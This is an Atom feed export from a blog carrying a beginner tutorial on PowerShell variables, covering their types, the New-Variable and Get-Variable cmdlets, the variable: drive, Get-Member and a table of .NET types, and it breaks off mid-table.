<?xml version="1.0" encoding="UTF-8"?>
<!--Generated by Squarespace Site Server v5.11.81 (http://www.squarespace.com/) on Sat, 26 May 2012 21:31:40 GMT--><feed xmlns="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/"><title>Blog</title><subtitle>Blog</subtitle><id>http://www.darkoperator.com/blog/</id><link rel="alternate" type="application/xhtml+xml" href="http://www.darkoperator.com/blog/"/><link rel="self" type="application/atom+xml" href="http://www.darkoperator.com/blog/atom.xml"/><updated>2012-04-18T18:11:53Z</updated><generator uri="http://www.squarespace.com/" version="Squarespace Site Server v5.11.81 (http://www.squarespace.com/)">Squarespace</generator><entry><title>Introduction to Microsoft PowerShell &amp;ndash; Variables</title><id>http://www.darkoperator.com/blog/2012/4/18/introduction-to-microsoft-powershell-ndash-variables.html</id><link rel="alternate" type="text/html" href="http://www.darkoperator.com/blog/2012/4/18/introduction-to-microsoft-powershell-ndash-variables.html"/><author><name>Carlos Perez</name></author><published>2012-04-18T18:11:53Z</published><updated>2012-04-18T18:11:53Z</updated><content type="html" xml:lang="en-US"><![CDATA[<p>There are several types of variables this are:</p> <ul> <li>User Created – These variables are the ones we create in the shell and in scripts. This variables are present only in the current process we are on and are lost when we close the session. We can create variables in scripts with global, script, or local scope.  <li>Automatic – These variables keep the state of the PowerShell session and can not be modified directly. The values of this variables change as we execute and use the PowerShell session. This variables will save last run state of cmdlets, commands as well as other objects and information.  <li>Preference – These variables store user preferences for PowerShell. These variables are created by PowerShell&nbsp; when a session is started and are populated with default values. We can change the values of these variables. For example, MaximumHistoryCount that sets&nbsp; the maximum number of entries in the session history.  <li>Environment – These variables are the variables set by the system for Command and PowerShell environments. </li></ul> <h2>Creating and Accessing Variables</h2> <p>In PowerShell variables behave a bit differently than from what we are used to in other shell environments. We will see that do to the the unique way that PowerShell treats everything as an object variables are treated like so. Variable in PowerShell in reality are units of memory where we store values. Variables start with the symbol $ and followed by a string of letters like:</p><font color="#800080" size="2" face="Courier New"> <p align="left">$this_is_a_variable</p></font> <p>The string of letters and characters must be continuous and I recommend as a best practice to use descriptive names for the variables, you can use a mix of camel case where each word is capitalized or separate each work with a underscore as the example above.</p> <p>Variables in PowerShell are not case sensitive and they may contain any letter, number and special character. When special characters are used they need to be enclosed in {}:</p><pre class="brush: ps;"><font color="#5f9ea0" size="2" face="Courier New"><p align="left"><b>PS</font><font color="#000000" size="2" face="Courier New"></b> C:\</font><font color="#800000" size="2" face="Courier New">Users\Carlos\Desktop</font><font color="#000000" size="2" face="Courier New">&gt; </font><font color="#800080" size="2" face="Courier New">${this is an actual var of var's}</font><font color="#000000" size="2" face="Courier New"> </font><font color="#800000" size="2" face="Courier New">=</font><font color="#000000" size="2" face="Courier New"> 10<p align="left"></font><font color="#5f9ea0" size="2" face="Courier New"><b>PS</font><font color="#000000" size="2" face="Courier New"></b> C:\</font><font color="#800000" size="2" face="Courier New">Users\Carlos\Desktop</font><font color="#000000" size="2" face="Courier New">&gt; </font><font color="#800080" size="2" face="Courier New">${this is an actual var of var's}</font><font color="#000000" size="2" face="Courier New"><p align="left">10</font></p></pre>
<p>To assign a value to a variable we have 3 methods in PS. The first one is by just setting a name and using the = sign and providing any value we want to set:</p><font color="#800080" size="2" face="Courier New">
<p align="left">$var1 <font color="#ff0000" size="2" face="Courier New">=</font><font color="#000000" size="2" face="Courier New"> 1</font></p></font>
<p>We can also use the the New-Variable cmdlet:</p><font color="#5f9ea0" size="2" face="Courier New">
<p align="left"><b>New-Variable</b><font color="#000000" size="2" face="Courier New"></font> <font color="#5f9ea0" size="2" face="Courier New"><i>-Name</i><font color="#000000" size="2" face="Courier New"></font> </font><font color="#800000" size="2" face="Courier New">var3</font><font color="#000000" size="2" face="Courier New"> </font><font color="#5f9ea0" size="2" face="Courier New"><i>-Value</i><font color="#000000" size="2" face="Courier New"></font> </font><font color="#800000" size="2" face="Courier New">"hello"</font><font color="#000000" size="2" face="Courier New"> </font><font color="#5f9ea0" size="2" face="Courier New"><i>-Description</i><font color="#000000" size="2" face="Courier New"></font> </font><font color="#800000" size="2" face="Courier New">"Sample string variable"</font><font color="#000000" size="2" face="Courier New"> </font></p></font>
<p>As we can see the cmdlet provide us with the largest amount of options. Lets look at the the help for it:</p><pre>PS C:\Users\Carlos\Desktop&gt; help New-Variable

NAME
    New-Variable

SYNOPSIS
    Creates a new variable.


SYNTAX
    New-Variable [-Name] &lt;string&gt; [[-Value] &lt;Object&gt;] [-Description &lt;string&gt;] [-Force] [-Option {None | ReadOnly | Constant | Private | AllScope}] [-PassThru] [-Scope &lt;string&gt;] [-Visibility {Public |
     Private}] [-Confirm] [-WhatIf] [&lt;CommonParameters&gt;]


DESCRIPTION
    The New-Variable cmdlet creates a new variable in Windows PowerShell. You can assign a value to the variable while creating it or assign or change the value after it is created.

    You can use the parameters of New-Variable to set the properties of the variable (such as those that create read-only or constant variables), set the scope of a variable, and determine whether va
    riables are public or private.

    Typically, you create a new variable by typing the variable name and its value, such as "$var = 3", but you can use the New-Variable cmdlet to use its parameters.


RELATED LINKS
    Online version: http://go.microsoft.com/fwlink/?LinkID=113361
    Get-Variable
    Set-Variable
    Remove-Variable
    Clear-Variable

REMARKS
    To see the examples, type: "get-help New-Variable -examples".
    For more information, type: "get-help New-Variable -detailed".
    For technical information, type: "get-help New-Variable -full".</pre>
<p>As we can see it provides a lot of flexibility when creating the variable. The Se-Variable cmdlet can also be used and has a similar list of options as the New-Varibale cmdlet with some slight differences, like the ability to pass the variable content with the –PassThru parameter to the pipe to be consumed by another cmdlet. </p>
<p>When we want to get the value of a variable we can just type the variable name in the shell and hit enter. We can also use the Get-Variable cmdlet:</p><pre>PS C:\Users\Carlos\Desktop&gt; $var1 = 1
PS C:\Users\Carlos\Desktop&gt; $var1
1
PS C:\Users\Carlos\Desktop&gt; Get-Variable -Name var1
Name                           Value
----                           -----
var1                           1</pre>
<p align="left"><font color="#000000" face="Georgia">One thing to keep in mind is that as we covered in previous blog post variables are also available as a PSDrive so we can treat them also as a file system. If we want to get a listing of all variable we would use the Get-Variable cmdlet with no parameters we can also do a Dir of the PSDrive:</font></p><pre class="brush: ps;">PS C:\Users\Carlos\Desktop&gt; dir variable:

Name                           Value
----                           -----
$                              variables:
?                              False
^                              dir
_
args                           {}
ConfirmPreference              High
ConsoleFileName
DebugPreference                SilentlyContinue
Error                          {Cannot find drive. A drive with the name 'variables' does not exist., Cannot find drive. A drive with the name 'variables' does not exist., Cannot find drive. A dri...
ErrorActionPreference          Continue
ErrorView                      NormalView
ExecutionContext               System.Management.Automation.EngineIntrinsics
false                          False
FormatEnumerationLimit         4
HOME                           C:\Users\Carlos
Host                           System.Management.Automation.Internal.Host.InternalHost
input                          System.Collections.ArrayList+ArrayListEnumeratorSimple
LASTEXITCODE                   0
MaximumAliasCount              4096
MaximumDriveCount              4096
MaximumErrorCount              256
MaximumFunctionCount           4096
MaximumHistoryCount            64
MaximumVariableCount           4096
MyInvocation                   System.Management.Automation.InvocationInfo
NestedPromptLevel              0
null
OutputEncoding                 System.Text.ASCIIEncoding
PID                            6648
PROFILE                        C:\Users\Carlos\Documents\WindowsPowerShell\Microsoft.PowerShell_profile.ps1
ProgressPreference             Continue
PSBoundParameters              {}
PSCulture                      en-US
PSEmailServer
PSHOME                         C:\Windows\System32\WindowsPowerShell\v1.0
PSSessionApplicationName       wsman
PSSessionConfigurationName     http://schemas.microsoft.com/powershell/Microsoft.PowerShell
PSSessionOption                System.Management.Automation.Remoting.PSSessionOption
PSUICulture                    en-US
PSVersionTable                 {PSVersion, PSCompatibleVersions, BuildVersion, PSRemotingProtocolVersion...}
PWD                            C:\Users\Carlos\Desktop
ReportErrorShowExceptionClass  0
ReportErrorShowInnerException  0
ReportErrorShowSource          1
ReportErrorShowStackTrace      0
ShellId                        Microsoft.PowerShell
srvs                           {System.ServiceProcess.ServiceController, System.ServiceProcess.ServiceController, System.ServiceProcess.ServiceController, System.ServiceProcess.ServiceController...}
StackTrace                        at System.Management.Automation.PropertyReferenceNode.SetValue(PSObject obj, Object property, Object value, ExecutionContext context)
test                           hello
true                           True
var1                           1.3
var2                           20
VerbosePreference              SilentlyContinue
WarningPreference              Continue
WhatIfPreference               False</pre>
<p>To get the contents of a variable when using the PSDrive Method we would use the Get-Content cmdlet just like we would with a file:</p><font color="#5f9ea0" size="2" face="Courier New"><pre class="brush: ps;"><font color="#5f9ea0" size="2" face="Courier New"><p align="left"><b>PS</font><font color="#000000" size="2" face="Courier New"></b> C:\</font><font color="#800000" size="2" face="Courier New">Users\Carlos\Desktop</font><font color="#000000" size="2" face="Courier New">&gt; </font><font color="#800000" size="2" face="Courier New">Get-Content</font><font color="#000000" size="2" face="Courier New"> Variable:\PSHOME <p align="left">C:\Windows\System32\WindowsPowerShell\v1.0</font> 
</p></pre></font>
<p>When we want to know what type of value we have in a variable we can use the the .GetType() method and we can get the property of .Name to see the name of the type or use .FullName to get the .Net type.</p>
<p><font color="#5f9ea0" size="2" face="Courier New"></p><pre></pre><pre class="brush: ps;"><p><font color="#5f9ea0" size="2" face="Courier New">PS C:\Users\Carlos\Desktop&gt; <font color="#800080" size="2" face="Courier New">$var1</font><font color="#000000" size="2" face="Courier New">.GetType().Name </font></font></p><p><font color="#5f9ea0" size="2" face="Courier New">Int32</font></p></pre>
<p><font color="#000000" face="Georgia">As we can see in several of the examples we treat variables as object. We can even get the members of the object with the Get-Members cmdlet:</font></p><pre class="brush: ps;"><font color="#5f9ea0" size="2" face="Courier New"><p align="left"><b>PS</font><font color="#000000" size="2" face="Courier New"></b> C:\</font><font color="#800000" size="2" face="Courier New">Users\Carlos\Desktop</font><font color="#000000" size="2" face="Courier New">&gt; </font><font color="#800000" size="2" face="Courier New">get-variable</font><font color="#000000" size="2" face="Courier New"> </font><font color="#5f9ea0" size="2" face="Courier New"><i>-name</font><font color="#000000" size="2" face="Courier New"></i> </font><font color="#800000" size="2" face="Courier New">var2</font><font color="#000000" size="2" face="Courier New"> | </font><font color="#5f9ea0" size="2" face="Courier New"><b>Get-Member</b></font></p>   TypeName: System.Management.Automation.PSVariable

Name         MemberType Definition
----         ---------- ----------
Equals       Method     bool Equals(System.Object obj)
GetHashCode  Method     int GetHashCode()
GetType      Method     type GetType()
IsValidValue Method     bool IsValidValue(System.Object value)
ToString     Method     string ToString()
Attributes   Property   System.Collections.ObjectModel.Collection`1[[System.Attribute, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089]] Attributes {get;}
Description  Property   System.String Description {get;set;}
Module       Property   System.Management.Automation.PSModuleInfo Module {get;}
ModuleName   Property   System.String ModuleName {get;}
Name         Property   System.String Name {get;}
Options      Property   System.Management.Automation.ScopedItemOptions Options {get;set;}
Value        Property   System.Object Value {get;set;}
Visibility   Property   System.Management.Automation.SessionStateEntryVisibility Visibility {get;set;}</pre>
<p align="left"><font color="#000000" face="Georgia">Just like objects if the property allows us to set it’s value we can change it:</font></p><pre class="brush: ps;"><font color="#5f9ea0" size="2" face="Courier New"><p align="left"><b>PS</font><font color="#000000" size="2" face="Courier New"></b> C:\</font><font color="#800000" size="2" face="Courier New">Users\Carlos\Desktop</font><font color="#000000" size="2" face="Courier New">&gt; </font><font color="#800080" size="2" face="Courier New">$srvs</font><font color="#000000" size="2" face="Courier New"> </font><font color="#800000" size="2" face="Courier New">=</font><font color="#000000" size="2" face="Courier New"> </font><font color="#800000" size="2" face="Courier New">Get-Service</font><font color="#000000" size="2" face="Courier New"><p align="left"></font><font color="#5f9ea0" size="2" face="Courier New"><b>PS</font><font color="#000000" size="2" face="Courier New"></b> C:\</font><font color="#800000" size="2" face="Courier New">Users\Carlos\Desktop</font><font color="#000000" size="2" face="Courier New">&gt; (</font><font color="#5f9ea0" size="2" face="Courier New"><b>get-variable</font><font color="#000000" size="2" face="Courier New"></b> </font><font color="#800000" size="2" face="Courier New">srvs</font><font color="#000000" size="2" face="Courier New">).Description </font><font color="#800000" size="2" face="Courier New">=</font><font color="#000000" size="2" face="Courier New"> </font><font color="#800000" size="2" face="Courier New">"This variable contains the services objects"</font><font color="#000000" size="2" face="Courier New"><p align="left"></font><font color="#5f9ea0" size="2" face="Courier New"><b>PS</font><font color="#000000" size="2" face="Courier New"></b> C:\</font><font color="#800000" size="2" face="Courier New">Users\Carlos\Desktop</font><font color="#000000" size="2" face="Courier New">&gt; </font><font color="#800000" size="2" face="Courier New">get-variable</font><font color="#000000" size="2" face="Courier New"> </font><font color="#800000" size="2" face="Courier New">srvs</font><font color="#000000" size="2" face="Courier New"> | </font><font color="#5f9ea0" size="2" face="Courier New"><b>select</font><font color="#000000" size="2" face="Courier New"></b> name,description | </font><font color="#5f9ea0" size="2" face="Courier New"><b>ft</font><font color="#000000" size="2" face="Courier New"></b> –</font><font color="#5f9ea0" size="2" face="Courier New"><i>AutoSize</i></font><p align="left"><em><font size="2" face="Courier New"></font></em>
Name Description
---- -----------
srvs This variable contains the services objects
</p></pre>
<p align="left"><font color="#000000" face="Georgia"></font>&nbsp;</p>
<h2 align="left"><font color="#000000">Dynamic and Static Typing of Variables</font></h2>
<p align="left"><font color="#000000" face="Georgia">PowerShell uses the .Net Framework variable types. The most common types of values we can have in a variable are shown in the table bellow:</font></p>
<table style="line-height: normal; border-collapse: collapse" border="0" cellspacing="0" cellpadding="0" width="656">
<colgroup>
<col style="width: 140pt; mso-width-source: userset; mso-width-alt: 6838" width="187">
<col style="width: 456pt; mso-width-source: userset; mso-width-alt: 22235" width="608"></colgroup>
<tbody>
<tr style="height: 15.75pt" height="21">
<td style="border-bottom: #ff4305 1pt solid; border-left: #ff4305 1pt solid; padding-left: 1px; padding-right: 1px; font-family: ; background: #4f81bd; color: ; vertical-align: middle; border-top: #ff4305 1pt solid; border-right: #ff4305 1pt solid; text-decoration: ; padding-top: 1px; text-underline-style: none; text-line-through: none; mso-pattern: black none" class="xl71" height="21" width="186" align="center"><font face="Calibri"><font style="font-size: 11pt" color="#ffffff"><strong>Variable type</strong></font></font></td>
<td style="border-bottom: #ff4305 1pt solid; border-left: #ff4305 1pt solid; padding-left: 1px; padding-right: 1px; font-family: ; background: #4f81bd; color: ; vertical-align: middle; border-top: #ff4305 1pt solid; border-right: #ff4305 1pt solid; text-decoration: ; padding-top: 1px; text-underline-style: none; text-line-through: none; mso-pattern: black none" class="xl72" width="468" align="center"><font face="Calibri"><font style="font-size: 11pt" color="#ffffff"><strong>Description</strong></font></font></td></tr>
<tr style="height: 16.5pt" height="22">
<td style="border-bottom: black 0.5pt solid; border-left: #ff4305 1pt solid; padding-left: 9px; padding-right: 1px; font-family: ; background: white; color: ; vertical-align: middle; border-top: #cccccc 1.5pt solid; border-right: #ff4305 1pt solid; text-decoration: ; padding-top: 1px; text-underline-style: none; text-line-through: none; mso-pattern: black none" class="xl65" height="22" width="186"><font face="Arial"><font style="font-size: 8.8pt" color="#333333">[array]</font></font></td>
<td style="border-bottom: black 0.5pt solid; border-left: #ff4305 1pt solid; padding-left: 9px; padding-right: 1px; font-family: ; background: white; color: ; vertical-align: middle; border-top: #cccccc 1.5pt solid; border-right: #ff4305 1pt solid; text-decoration: ; padding-top: 1px; text-underline-style: none; text-line-through: none; mso-pattern: black none" class="xl68" width="468"><font face="Arial"><font style="font-size: 8.8pt" color="#333333">An array</font></font></td></tr>
<tr style="height: 16.5pt" height="22">
<td style="border-bottom: black 0.5pt solid; border-left: #ff4305 1pt solid; padding-left: 9px; padding-right: 1px; font-family: ; background: #f9f9f9; color: ; vertical-align: middle; border-top: #cccccc 1.5pt solid; border-right: #ff4305 1pt solid; text-decoration: ; padding-top: 1px; text-underline-style: none; text-line-through: none; mso-pattern: black none" class="xl66" height="22" width="186"><font face="Arial"><font style="font-size: 8.8pt" color="#333333">[bool]</font></font></td>
<td style="border-bottom: black 0.5pt solid; border-left: #ff4305 1pt solid; padding-left: 9px; padding-right: 1px; font-family: ; background: #f9f9f9; color: ; vertical-align: middle; border-top: #cccccc 1.5pt solid; border-right: #ff4305 1pt solid; text-decoration: ; padding-top: 1px; text-underline-style: none; text-line-through: none; mso-pattern: black none" class="xl69" width="468"><font face="Arial"><font style="font-size: 8.8pt" color="#333333">Yes-no value</font></font></td></tr>
<tr style="height: 16.5pt" height="22">
<td style="border-bottom: black 0.5pt solid; border-left: #ff4305 1pt solid; padding-left: 9px; padding-right: 1px; font-family: ; background: white; color: ; vertical-align: middle; border-top: #cccccc 1.5pt solid; border-right: #ff4305 1pt solid; text-decoration: ; padding-top: 1px; text-underline-style: none; text-line-through: none; mso-pattern: black none" class="xl65" height="22" width="186"><font face="Arial"><font style="font-size: 8.8pt" color="#333333">[byte]</font></font></td>
<td style="border-bottom: black 0.5pt solid; border-left: #ff4305 1pt solid; padding-left: 9px; padding-right: 1px; font-family: ; background: white; color: ; vertical-align: middle; border-top: #cccccc 1.5pt solid; border-right: #ff4305 1pt solid; text-decoration: ; padding-top: 1px; text-underline-style: none; text-line-through: none; mso-pattern: black none" class="xl68" width="468"><font face="Arial"><font style="font-size: 8.8pt" color="#333333">Unsigned 8-bit integer, 0...255</font></font></td></tr>
<tr style="height: 16.5pt" height="22">
<td style="border-bottom: black 0.5pt solid; border-left: #ff4305 1pt solid; padding-left: 9px; padding-right: 1px; font-family: ; background: #f9f9f9; color: ; vertical-align: middle; border-top: #cccccc 1.5pt solid; border-right: #ff4305 1pt solid; text-decoration: ; padding-top: 1px; text-underline-style: none; text-line-through: none; mso-pattern: black none" class="xl66" height="22" width="186"><font face="Arial"><font style="font-size: 8.8pt" color="#333333">[char]</font></font></td>
<td style="border-bottom: black 0.5pt solid; border-left: #ff4305 1pt solid; padding-left: 9px; padding-right: 1px; font-family: ; background: #f9f9f9; color: ; vertical-align: middle; border-top: #cccccc 1.5pt solid; border-right: #ff4305 1pt solid; text-decoration: ; padding-top: 1px; text-underline-style: none; text-line-through: none; mso-pattern: black none" class="xl69" width="468"><font face="Arial"><font style="font-size: 8.8pt" color="#333333">Individual unicode character</font></font></td></tr>
<tr style="height: 16.5pt" height="22">
<td style="border-bottom: black 0.5pt solid; border-left: #ff4305 1pt solid; padding-left: 9px; padding-right: 1px; font-family: ; background: white; color: ; vertical-align: middle; border-top: #cccccc 1.5pt solid; border-right: #ff4305 1pt solid; text-decoration: ; padding-top: 1px; text-underline-style: none; text-line-through: none; mso-pattern: black none" class="xl65" height="22" width="186"><font face="Arial"><font style="font-size: 8.8pt" color="#333333">[datetime]</font></font></td>
<td style="border-bottom: black 0.5pt solid; border-left: #ff4305 1pt solid; padding-left: 9px; padding-right: 1px; font-family: ; background: white; color: ; vertical-align: middle; border-top: #cccccc 1.5pt solid; border-right: #ff4305 1pt solid; text-decoration: ; padding-top: 1px; text-underline-style: none; text-line-through: none; mso-pattern: black none" class="xl68" width="468"><font face="Arial"><font style="font-size: 8.8pt" color="#333333">Date and time indications</font></font></td></tr>
<tr style="height: 15.75pt" height="21">
<td style="border-bottom: black 0.5pt solid; border-left: #ff4305 1pt solid; padding-left: 9px; padding-right: 1px; font-family: ; background: #f9f9f9; color: ; vertical-align: middle; border-top: #cccccc 1.5pt solid; border-right: #ff4305 1pt solid; text-decoration: ; padding-top: 1px; text-underline-style: none; text-line-through: none; mso-pattern: black none" class="xl66" height="21" width="186"><font face="Arial"><font style="font-size: 8.8pt" color="#333333">[decimal]</font></font></td>
<td style="border-bottom: black 0.5pt solid; border-left: #ff4305 1pt solid; padding-left: 9px; padding-right: 1px; font-family: ; background: #f9f9f9; color: ; vertical-align: middle; border-top: #cccccc 1.5pt solid; border-right: #ff4305 1pt solid; text-decoration: ; padding-top: 1px; text-underline-style: none; text-line-through: none; mso-pattern: black none" class="xl69" width="468"><font face="Arial"><font style="font-size: 8.8pt" color="#333333">Decimal number</font></font></td></tr>
<tr style="height: 15.75pt" height="21">
<td style="border-bottom: #cccccc 1.5pt solid; border-left: #ff4305 1pt solid; padding-left: 9px; padding-right: 1px; font-family: ; background: #f9f9f9; color: ; vertical-align: middle; border-top: black 0.5pt solid; border-right: #ff4305 1pt solid; text-decoration: ; padding-top: 1px; text-underline-style: none; text-line-through: none; mso-pattern: black none" class="xl67" height="21" width="186"><font face="Arial"><font style="font-size: 8.8pt" color="#333333">[wmi]</font></font></td>
<td style="border-bottom: #cccccc 1.5pt solid; border-left: #ff4305 1pt solid; padding-left: 9px; padding-right: 1px; font-family: ; background: #f9f9f9; color: ; vertical-align: middle; border-top: black 0.5pt solid; border-right: #ff4305 1pt solid; text-decoration: ; padding-top: 1px; text-underline-style: none; text-line-through: none; mso-pattern: black none" class="xl70" width="468"><font face="Arial"><font style="font-size: 8.8pt" color="#333333">WMI Object</font></font></td></tr>
<tr style="height: 16.5pt" height="22">
<td style="border-bottom: black 0.5pt solid; border-left: #ff4305 1pt solid; padding-left: 9px; padding-right: 1px; font-family: ; background: white; color: ; vertical-align: middle; border-top: #cccccc 1.5pt solid; border-right: #ff4305 1pt solid; text-decoration: ; padding-top: 1px; text-underline-style: none; text-line-through: none; mso-pattern: black none" class="xl65" height="22" width="186"><font face="Arial"><font style="font-size: 8.8pt" color="#333333">[double]</font></font></td>
<td style="border-bottom: black 0.5pt solid; border-left: #ff4305 1pt solid; padding-left: 9px; padding-right: 1px; font-family: ; background: white; color: ; vertical-align: middle; border-top: #cccccc 1.5pt solid; border-right: #ff4305 1pt solid; text-decoration: ; padding-top: 1px; text-underline-style: none; text-line-through: none; mso-pattern: black none" class="xl68" width="468"><font face="Arial"><font style="font-size: 8.8pt" color="#333333">Double-precision floating point decimal</font></font></td></tr>
<tr style="height: 16.5pt" height="22">
<td style="border-bottom: black 0.5pt solid; border-left: #ff4305 1pt solid; padding-left: 9px; padding-right: 1px; font-family: ; background: #f9f9f9; color: ; vertical-align: middle; border-top: #cccccc 1.5pt solid; border-right: #ff4305 1pt solid; text-decoration: ; padding-top: 1px; text-underline-style: none; text-line-through: none; mso-pattern: black none" class="xl66" height="22" width="186"><font face="Arial"><font style="font-size: 8.8pt" color="#333333">[guid]</font></font></td>
<td style="border-bottom: black 0.5pt solid; border-left: #ff4305 1pt solid; padding-left: 9px; padding-right: 1px; font-family: ; background: #f9f9f9; color: ; vertical-align: middle; border-top: #cccccc 1.5pt solid; border-right: #ff4305 1pt solid; text-decoration: ; padding-top: 1px; text-underline-style: none; text-line-through: none; mso-pattern: black none" class="xl69" width="468"><font face="Arial"><font style="font-size: 8.8pt" color="#333333">Globally unambiguous 32-byte identification number</font></font></td></tr>
<tr style="height: 16.5pt" height="22">
<td style="border-bottom: black 0.5pt solid; border-left: #ff4305 1pt solid; padding-left: 9px; padding-right: 1px; font-family: ; background: white; color: ; vertical-align: middle; border-top: #cccccc 1.5pt solid; border-right: #ff4305 1pt solid; text-decoration: ; padding-top: 1px; text-underline-style: none; text-line-through: none; mso-pattern: black none" class="xl65" height="22" width="186"><font face="Arial"><font style="font-size: 8.8pt" color="#333333">[hashtable]</font></font></td>
<td style="border-bottom: black 0.5pt solid; border-left: #ff4305 1pt solid; padding-left: 9px; padding-right: 1px; font-family: ; background: white; color: ; vertical-align: middle; border-top: #cccccc 1.5pt solid; border-right: #ff4305 1pt solid; text-decoration: ; padding-top: 1px; text-underline-style: none; text-line-through: none; mso-pattern: black none" class="xl68" width="468"><font face="Arial"><font style="font-size: 8.8pt" color="#333333">Hash table</font></font></td></tr>
<tr style="height: 16.5pt" height="22">
<td style="border-bottom: black 0.5pt solid; border-left: #ff4305 1pt solid; padding-left: 9px; padding-right: 1px; font-family: ; background: #f9f9f9; color: ; vertical-align: middle; border-top: #cccccc 1.5pt solid; border-right: #ff4305 1pt solid; text-decoration: ; padding-top: 1px; text-underline-style: none; text-line-through: none; mso-pattern: black none" class="xl66" height="22" width="186"><font face="Arial"><font style="font-size: 8.8pt" color="#333333">[int16]</font></font></td>
<td style="border-bottom: black 0.5pt solid; border-left: #ff4305 1pt solid; padding-left: 9px; padding-right: 1px; font-family: ; background: #f9f9f9; color: ; vertical-align: middle; border-top: #cccccc 1.5pt solid; border-right: #ff4305 1pt solid; text-decoration: ; padding-top: 1px; text-underline-style: none; text-line-through: none; mso-pattern: black none" class="xl69" width="468"><font face="Arial"><font style="font-size: 8.8pt" color="#333333">16-bit integer with characters</font></font></td></tr>
<tr style="height: 16.5pt" height="22">
<td style="border-bottom: black 0.5pt solid; border-left: #ff4305 1pt solid; padding-left: 9px; padding-right: 1px; font-family: ; background: white; color: ; vertical-align: middle; border-top: #cccccc 1.5pt solid; border-right: #ff4305 1pt solid; text-decoration: ; padding-top: 1px; text-underline-style: none; text-line-through: none; mso-pattern: black none" class="xl65" height="22" width="186"><font face="Arial"><font style="font-size: 8.8pt" color="#333333">[int32], [int]</font></font></td>
<td style="border-bottom: black 0.5pt solid; border-left: #ff4305 1pt solid; padding-left: 9px; padding-right: 1px; font-family: ; background: white; color: ; vertical-align: middle; border-top: #cccccc 1.5pt solid; border-right: #ff4305 1pt solid; text-decoration: ; padding-top: 1px; text-underline-style: none; text-line-through: none; mso-pattern: black none" class="xl68" width="468"><font face="Arial"><font style="font-size: 8.8pt" color="#333333">32-bit integers with characters</font></font></td></tr>
<tr style="height: 16.5pt" height="22">
<td style="border-bottom: black 0.5pt solid; border-left: #ff4305 1pt solid; padding-left: 9px; padding-right: 1px; font-family: ; background: #f9f9f9; color: ; vertical-align: middle; border-top: #cccccc 1.5pt solid; border-right: #ff4305 1pt solid; text-decoration: ; padding-top: 1px; text-underline-style: none; text-line-through: none; mso-pattern: black none" class="xl66" height="22" width="186"><font face="Arial"><font style="font-size: 8.8pt" color="#333333">[int64], [long]</font></font></td>
<td style="border-bottom: black 0.5pt solid; border-left: #ff4305 1pt solid; padding-left: 9px; padding-right: 1px; font-family: ; background: #f9f9f9; color: ; vertical-align: middle; border-top: #cccccc 1.5pt solid; border-right: #ff4305 1pt solid; text-decoration: ; padding-top: 1px; text-underline-style: none; text-line-through: none; mso-pattern: black none" class="xl69" width="468"><font face="Arial"><font style="font-size: 8.8pt" color="#333333">64-bit integers with characters</font></font></td></tr>
<tr style="height: 25.5pt" height="34">
<td style="border-bottom: black 0.5pt solid; border-left: #ff4305 1pt solid; padding-left: 9px; padding-right: 1px; font-family: ; background: white; color: ; vertical-align: middle; border-top: #cccccc 1.5pt solid; border-right: #ff4305 1pt solid; text-decoration: ; padding-top: 1px; text-underline-style: none; text-line-through: none; mso-pattern: black none" class="xl65" height="34" width="186"><font face="Arial"><font style="font-size: 8.8pt" color="#333333">[nullable]</font></font></td>
<td style="border-bottom: black 0.5pt solid; border-left: #ff4305 1pt solid; padding-left: 9px; padding-right: 1px; font-family: ; background: white; color: ; vertical-align: middle; border-top: #cccccc 1.5pt solid; border-right: #ff4305 1pt solid; text-decoration: ; padding-top: 1px; text-underline-style: none; text-line-through: none; mso-pattern: black none" class="xl68" width="468"><font face="Arial"><font style="font-size: 8.8pt" color="#333333">Widens another data type to include the ability to contain null values.</font></font></td></tr>
<tr style="height: 16.5pt" height="22">
<td style="border-bottom: black 0.5pt solid; border-left: #ff4305 1pt solid; padding-left: 9px; padding-right: 1px; font-family: ; background: #f9f9f9; color: ; vertical-align: middle; border-top: #cccccc 1.5pt solid; border-right: #ff4305 1pt solid; text-decoration: ; padding-top: 1px; text-underline-style: none; text-line-through: none; mso-pattern: black none" class="xl66" height="22" width="186"><font face="Arial"><font style="font-size: 8.8pt" color="#333333">[psobject]</font></font></td>
<td style="border-bottom: black 0.5pt solid; border-left: #ff4305 1pt solid; padding-left: 9px; padding-right: 1px; font-family: ; background: #f9f9f9; color: ; vertical-align: middle; border-top: #cccccc 1.5pt solid; border-right: #ff4305 1pt solid; text-decoration: ; padding-top: 1px; text-underline-style: none; text-line-through: none; mso-pattern: black none" class="xl69" width="468"><font face="Arial"><font style="font-size: 8.8pt" color="#333333">PowerShell object</font></font></td></tr>
<tr style="height: 16.5pt" height="22">
<td style="border-bottom: black 0.5pt solid; border-left: #ff4305 1pt solid; padding-left: 9px; padding-right: 1px; font-family: ; background: white; color: ; vertical-align: middle; border-top: #cccccc 1.5pt solid; border-right: #ff4305 1pt solid; text-decoration: ; padding-top: 1px; text-underline-style: none; text-line-through: none; mso-pattern: black none" class="xl65" height="22" width="186"><font face="Arial"><font style="font-size: 8.8pt" color="#333333">[regex]</font></font></td>
<td style="border-bottom: black 0.5pt solid; border-left: #ff4305 1pt solid; padding-left: 9px; padding-right: 1px; font-family: ; background: white; color: ; vertical-align: middle; border-top: #cccccc 1.5pt solid; border-right: #ff4305 1pt solid; text-decoration: ; padding-top: 1px; text-underline-style: none; text-line-through: none; mso-pattern: black none" class="xl68" width="468"><font face="Arial"><font style="font-size: 8.8pt" color="#333333">Regular expression</font></font></td></tr>
<tr style="height: 16.5pt" height="22">
<td style="border-bottom: black 0.5pt solid; border-left: #ff4305 1pt solid; padding-left: 9px; padding-right: 1px; font-family: ; background: #f9f9f9; color: ; vertical-align: middle; border-top: #cccccc 1.5pt solid; border-right: #ff4305 1pt solid; text-decoration: ; padding-top: 1px; text-underline-style: none; text-line-through: none; mso-pattern: black none" class="xl66" height="22" width="186"><font face="Arial"><font style="font-size: 8.8pt" color="#333333">[sbyte]</font></font></td>
<td style="border-bottom: black 0.5pt solid; border-left: #ff4305 1pt solid; padding-left: 9px; padding-right: 1px; font-family: ; background: #f9f9f9; color: ; vertical-align: middle; border-top: #cccccc 1.5pt solid; border-right: #ff4305 1pt solid; text-decoration: ; padding-top: 1px; text-underline-style: none; text-line-through: none; mso-pattern: black none" class="xl69" width="468"><font face="Arial"><font style="font-size: 8.8pt" color="#333333">8-bit integers with characters</font></font></td></tr>
<tr style="height: 16.5pt" height="22">
